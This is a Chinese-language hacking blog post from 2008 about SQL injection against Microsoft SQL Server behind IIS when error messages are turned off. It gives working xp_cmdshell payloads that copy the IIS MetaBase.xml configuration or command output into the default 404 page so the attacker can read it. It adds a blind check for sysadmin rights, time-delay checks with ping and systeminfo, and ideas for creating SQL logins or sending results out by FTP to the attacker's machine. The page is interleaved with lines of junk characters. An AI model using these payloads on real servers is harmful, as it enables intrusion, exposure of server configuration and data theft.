28度的冰注入技巧之（一）——404页面的妙用

admin

遇到一个sa注入点，mssql错误提示关闭无疑shi让人郁闷的事情。

  v6 E* O/ n/ }" h( v; N8 \　　虽然错误提示关闭也shi可能以列目录，执行命令，但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。

9 a4 I$ |* `$ J" k# J& R  Y　　这里有一个很好的方法，让你得到web目录路径，让你得到服务器上的文件，让你执行命令得到回显。
6 G5 f. h- S& T9 n7 ?
　　IIS，404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
( d. g3 c/ V' u( L7 j
　　得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
. J" m) Q! z. W' W
　　,这shi20003，如果是2000的话，exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--，在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后，你再访问一下网站一个不存在的文件或目录，显示的就shiMetaBase.xml 的内容了。
" J* o3 a1 _7 ^0 v% u/ D) H
: C7 P9 N: n+ i( ^/ b4 c　　执行命令得到回显

　　通过上面得到web路径的方法，你肯定很容易想到怎么得到回显了吧。 2003，exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000，exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--

- b/ y, \8 _3 ~5 M　　得到文件也shi相同，把文件copy到404b.htm就行了

　　by 28ice, 2008/6/26

1 @+ Y1 X: P1 B1 Z  _　　摘自 28度的冰

　　盲注判断权限和操作系统版本
- E( W  _- N* {! j1 j
. {! x3 T+ ^* s　　首先第一个问题，如果错误提示关闭，怎么判断当前的权限shi否为sysadmin呢?
  [, {8 n3 Q7 G$ H  v0 _- _
　　最简单的，可能以用这样的方法：
: m% k; p. M% ]1 O9 l5 L- n  t
' |% z% ]2 l6 n4 ^+ c　　1=(select IS_SRVROLEMEMBER(’sysadmin’))
0 |- K9 V& G, C+ s- {& ]
% H7 r  ^- K) f4 ?% Z+ ^　　当然，有些情况下，这个方法并不奏效。

　　既然shisa，我们就可能以通过执行命令判断，不过，既然错误提示关闭，那么执行的结果就很不容易拿到。

　　有个3办法可能以解决这个问题
/ j2 ^! k7 t+ L' M# X7 E% z5 E
3 A( n3 r8 L' v; X# X　　a.把执行结果写到404b.htm，具体请看我的上一篇文章
$ R! O1 ?5 }8 N8 ^9 X4 ^7 w& a
　　b.执行ping 127.1 -n 10，看看页面shi否延迟10秒钟

　　c.如果1433端口可能以连接，那干脆新建个sql登录
2 h% Z2 ~! a: S) `
　　d.如果大牛你shi公网Ip,openrowset，或者直接telnet，ftp到你自己的机子，说到这里，ftp还有别的用处，比如，把执行结果写到文件中，然后通过ftp传到你的机子上，这何尝不shi获得执行结果的一个好办法。当然，你可能能要用到ftp的-s参数

" Z; @- r) a6 |' Q5 G1 |　　还有一个问题，怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
6 }2 \' L/ u3 V; K! Y
　　很简单
; N( m4 D6 j& r$ l: h/ X" d( v
& M! i  x' o! l  F( |　　执行systeminfo
9 q- Y7 i* N$ Q# \) z
　　在xp/2003下才有这个命令，这个命令执行大概需要5秒钟时间。如果页面延迟5秒，就可能以进一步断定这shi2003(当然不排除2008的可能能性)。